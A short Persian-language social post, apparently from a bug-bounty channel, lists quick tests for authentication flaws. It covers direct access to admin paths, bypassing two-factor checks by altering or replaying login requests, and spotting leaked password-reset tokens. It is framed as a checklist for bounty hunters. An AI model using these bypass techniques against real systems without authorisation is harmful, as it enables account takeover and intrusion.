1. دسترسی مستقیم به بخش مدیریت تلاش کنید تا به آدرس‌ های /admin ، /dashboard، /panel، /cp بدون ورود به سیستم دسترسی پیدا کنید. اغلب، هیچ تغییر مسیری (redirect) یا بررسی احراز هویت مناسبی وجود ندارد. 2. بایپس احراز هویت دو مرحله‌ای (2FA) - با تغییر درخواست، مرحله‌ی 2FA را دور بزنید (پارامتر 2fa را حذف کنید یا آن را روی true تنظیم کنید). - پس از اولین مرحله‌ی موفق، درخواست ورود به سیستم را دوباره ارسال کنید. - سعی کنید از پارامترهایی مانند ?bypass=1 یا پارامترهای پنهان مشابه استفاده کنید. 3. افشای توکن بازنشانی رمز عبور بررسی کنید که آیا توکن بازنشانی رمز عبور در پاسخ JSON، کد منبع صفحه یا ایمیل تأییدیه قبل از کلیک کاربر بر روی لینک، نمایش داده می‌شود یا خیر. نکته‌ی مهم: این باگ‌ های "ساده" بسیار رایج‌ تر از اکسپلویت‌ های پیچیده هستند و اغلب منجر به آسیب‌پذیری‌ های حیاتی و بانتی های خوبی می‌ شوند.

آنها را در ابتدای هر برنامه تست کنید. علاقه خود را به این پست ها با 🔥 نشان دهید. @TryHackBox #باگ_بانتی